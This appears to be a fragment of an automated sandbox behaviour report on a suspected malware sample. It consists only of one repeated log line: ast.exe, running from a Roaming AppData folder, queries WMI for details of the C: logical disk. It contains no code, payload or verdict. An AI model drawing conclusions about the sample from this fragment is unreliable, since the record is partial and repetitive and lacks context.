Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\im\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
